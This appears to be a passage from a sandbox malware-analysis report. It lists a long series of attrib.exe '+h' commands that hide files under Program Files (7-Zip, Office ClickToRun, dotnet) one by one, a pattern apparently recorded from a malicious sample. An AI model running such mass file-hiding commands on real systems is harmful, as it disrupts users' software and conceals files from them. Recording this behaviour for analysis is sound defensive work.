- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\tr.txt"
    3⤵
    PID:2232
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\tt.txt"
    3⤵
    PID:1016
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\ug.txt"
    3⤵
    PID:2056
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\uk.txt"
    3⤵
    PID:1112
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\uz-cyrl.txt"
    3⤵
    PID:992
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\uz.txt"
    3⤵
    PID:5176
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\va.txt"
    3⤵
    - Views/modifies file attributes
    PID:3224
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\vi.txt"
    3⤵
    PID:2040
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\yo.txt"
    3⤵
    PID:2292
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\zh-cn.txt"
    3⤵
    PID:5984
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\7-Zip\Lang\zh-tw.txt"
    3⤵
    PID:3740
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\DESIGNER\MSADDNDR.OLB"
    3⤵
    PID:5024
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-file-l1-2-0.dll"
    3⤵
    PID:572
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-file-l2-1-0.dll"
    3⤵
    PID:1000
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-localization-l1-2-0.dll"
    3⤵
    PID:3528
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-processthreads-l1-1-1.dll"
    3⤵
    PID:388
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-synch-l1-2-0.dll"
    3⤵
    PID:4796
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-timezone-l1-1-0.dll"
    3⤵
    PID:4992
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-xstate-l2-1-0.dll"
    3⤵
    PID:2004
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-conio-l1-1-0.dll"
    3⤵
    PID:856
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-convert-l1-1-0.dll"
    3⤵
    PID:5328
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-environment-l1-1-0.dll"
    3⤵
    PID:3048
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-filesystem-l1-1-0.dll"
    3⤵
    PID:1832
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-heap-l1-1-0.dll"
    3⤵
    PID:1452
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-locale-l1-1-0.dll"
    3⤵
    PID:3360
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-math-l1-1-0.dll"
    3⤵
    PID:5540
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-multibyte-l1-1-0.dll"
    3⤵
    PID:5904
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-private-l1-1-0.dll"
    3⤵
    PID:3820
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-process-l1-1-0.dll"
    3⤵
    PID:5296
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-runtime-l1-1-0.dll"
    3⤵
    PID:1696
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-stdio-l1-1-0.dll"
    3⤵
    PID:2660
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-string-l1-1-0.dll"
    3⤵
    PID:4692
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-time-l1-1-0.dll"
    3⤵
    PID:444
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-utility-l1-1-0.dll"
    3⤵
    PID:5444
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe"
    3⤵
    PID:5056
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVClient.man"
    3⤵
    PID:1772
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVClientIsv.man"
    3⤵
    PID:4100
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems32.dll"
    3⤵
    PID:3172
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems64.dll"
    3⤵
    PID:244
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVScripting.dll"
    3⤵
    PID:1784
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe"
    3⤵
    PID:1788
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2R32.dll"
    3⤵
    PID:5472
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2R64.dll"
    3⤵
    PID:5792
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RHeartbeatConfig.xml"
    3⤵
    PID:2656
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ar-sa.dll"
    3⤵
    PID:1892
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.bg-bg.dll"
    3⤵
    - Views/modifies file attributes
    PID:4292
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.cs-cz.dll"
    3⤵
    PID:2156
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.da-dk.dll"
    3⤵
    PID:6108
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.de-de.dll"
    3⤵
    PID:1884
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.el-gr.dll"
    3⤵
    PID:4504
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.en-us.dll"
    3⤵
    PID:5640
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.es-es.dll"
    3⤵
    PID:4780
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.et-ee.dll"
    3⤵
    PID:2820
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.fi-fi.dll"
    3⤵
    PID:1208
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.fr-fr.dll"
    3⤵
    PID:2356
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.he-il.dll"
    3⤵
    PID:1488
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.hi-in.dll"
    3⤵
    PID:5044
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.hr-hr.dll"
    3⤵
    PID:5076
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.hu-hu.dll"
    3⤵
    PID:1360
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.id-id.dll"
    3⤵
    PID:4880
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.it-it.dll"
    3⤵
    PID:5852
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ja-jp.dll"
    3⤵
    PID:432
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.kk-kz.dll"
    3⤵
    PID:5220
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ko-kr.dll"
    3⤵
    PID:5612
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.lt-lt.dll"
    3⤵
    PID:4536
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.lv-lv.dll"
    3⤵
    PID:5256
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ms-my.dll"
    3⤵
    PID:4808
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.nb-no.dll"
    3⤵
    PID:6084
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.nl-nl.dll"
    3⤵
    PID:3268
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.pl-pl.dll"
    3⤵
    PID:5424
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.pt-br.dll"
    3⤵
    - Views/modifies file attributes
    PID:944
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.pt-pt.dll"
    3⤵
    PID:5092
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ro-ro.dll"
    3⤵
    PID:1556
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ru-ru.dll"
    3⤵
    PID:5676
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sk-sk.dll"
    3⤵
    PID:6052
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sl-si.dll"
    3⤵
    PID:5160
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sr-latn-rs.dll"
    3⤵
    PID:4084
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sv-se.dll"
    3⤵
    PID:4444
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.th-th.dll"
    3⤵
    PID:1724
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.tr-tr.dll"
    3⤵
    PID:2320
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.uk-ua.dll"
    3⤵
    PID:2440
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.vi-vn.dll"
    3⤵
    PID:2032
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.zh-cn.dll"
    3⤵
    PID:2000
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.zh-tw.dll"
    3⤵
    PID:5392
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RUI.dll"
    3⤵
    PID:5216
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\ClientCapabilities.json"
    3⤵
    PID:1440
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\ClientEventLogMessages.man"
    3⤵
    PID:3160
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\concrt140.dll"
    3⤵
    PID:1364
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\cpprestsdk.dll"
    3⤵
    PID:2172
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\FrequentOfficeUpdateSchedule.xml"
    3⤵
    PID:5740
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\i640.cab.cat"
    3⤵
    PID:240
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\i640.hash"
    3⤵
    PID:1432
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\InspectorOfficeGadget.exe"
    3⤵
    PID:392
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe"
    3⤵
    PID:4708
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe"
    3⤵
    PID:5412
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe"
    3⤵
    PID:5760
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RCom.dll"
    3⤵
    PID:1324
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\offreg.dll"
    3⤵
    PID:3840
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\ServiceWatcherSchedule.xml"
    3⤵
    PID:5080
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\SharedPerformance.man"
    3⤵
    PID:3828
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\SubsystemController.man"
    3⤵
    PID:4248
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\ucrtbase.dll"
    3⤵
    PID:3096
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\ClickToRun\vccorlib140.dll"
    3⤵
    PID:3900
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\OFFICE16\LICLUA.EXE"
    3⤵
    PID:3040
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\pidgenx.dll"
    3⤵
    PID:2428
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\pkeyconfig-office.xrm-ms"
    3⤵
    PID:6080
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\pkeyconfig.companion.dll"
    3⤵
    PID:3884
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\Source Engine\OSE.EXE"
    3⤵
    PID:2464
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\VC\msdia100.dll"
    3⤵
    PID:3812
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\VC\msdia90.dll"
    3⤵
    PID:2720
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\VSTO\vstoee.dll"
    3⤵
    PID:1228
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\VSTO\vstoee100.tlb"
    3⤵
    PID:5548
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\VSTO\vstoee90.tlb"
    3⤵
    PID:4672
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe"
    3⤵
    PID:5608
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\VSTO\10.0\VSTOLoader.dll"
    3⤵
    PID:5876
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\VSTO\10.0\VSTOMessageProvider.dll"
    3⤵
    PID:4312
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\VSTO\10.0\1033\VSTOInstallerUI.dll"
    3⤵
    PID:4404
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\Common Files\microsoft shared\VSTO\10.0\1033\VSTOLoaderUI.dll"
    3⤵
    PID:1644
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\dotnet.exe"
    3⤵
    PID:2188
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\LICENSE.txt"
    3⤵
    PID:3412
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\ThirdPartyNotices.txt"
    3⤵
    PID:5772
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\host\fxr\6.0.27\hostfxr.dll"
    3⤵
    PID:4580
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\host\fxr\7.0.16\hostfxr.dll"
    3⤵
    PID:3520
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\host\fxr\8.0.15\hostfxr.dll"
    3⤵
    PID:3612
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\.version"
    3⤵
    PID:948
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-console-l1-1-0.dll"
    3⤵
    PID:860
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-console-l1-2-0.dll"
    3⤵
    PID:1584
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-datetime-l1-1-0.dll"
    3⤵
    PID:2616
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-debug-l1-1-0.dll"
    3⤵
    PID:6056
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-errorhandling-l1-1-0.dll"
    3⤵
    PID:4492
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-fibers-l1-1-0.dll"
    3⤵
    PID:5816
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-file-l1-1-0.dll"
    3⤵
    PID:2484
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-file-l1-2-0.dll"
    3⤵
    PID:2952
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-file-l2-1-0.dll"
    3⤵
    PID:6068
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-handle-l1-1-0.dll"
    3⤵
    PID:2936
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-heap-l1-1-0.dll"
    3⤵
    PID:4796
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-interlocked-l1-1-0.dll"
    3⤵
    PID:924
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-libraryloader-l1-1-0.dll"
    3⤵
    PID:3308
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-localization-l1-2-0.dll"
    3⤵
    PID:5164
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-memory-l1-1-0.dll"
    3⤵
    PID:500
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-namedpipe-l1-1-0.dll"
    3⤵
    PID:3128
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-processenvironment-l1-1-0.dll"
    3⤵
    PID:2504
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-processthreads-l1-1-0.dll"
    3⤵
    PID:1348
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-processthreads-l1-1-1.dll"
    3⤵
    PID:884
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-profile-l1-1-0.dll"
    3⤵
    PID:5400
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-rtlsupport-l1-1-0.dll"
    3⤵
    PID:4972
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-string-l1-1-0.dll"
    3⤵
    PID:2696
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-synch-l1-1-0.dll"
    3⤵
    PID:3496
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-synch-l1-2-0.dll"
    3⤵
    PID:5312
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-sysinfo-l1-1-0.dll"
    3⤵
    PID:1212
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-timezone-l1-1-0.dll"
    3⤵
    PID:2520
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\api-ms-win-core-util-l1-1-0.dll"
    3⤵
    PID:4440
- - C:\Windows\system32\attrib.exe
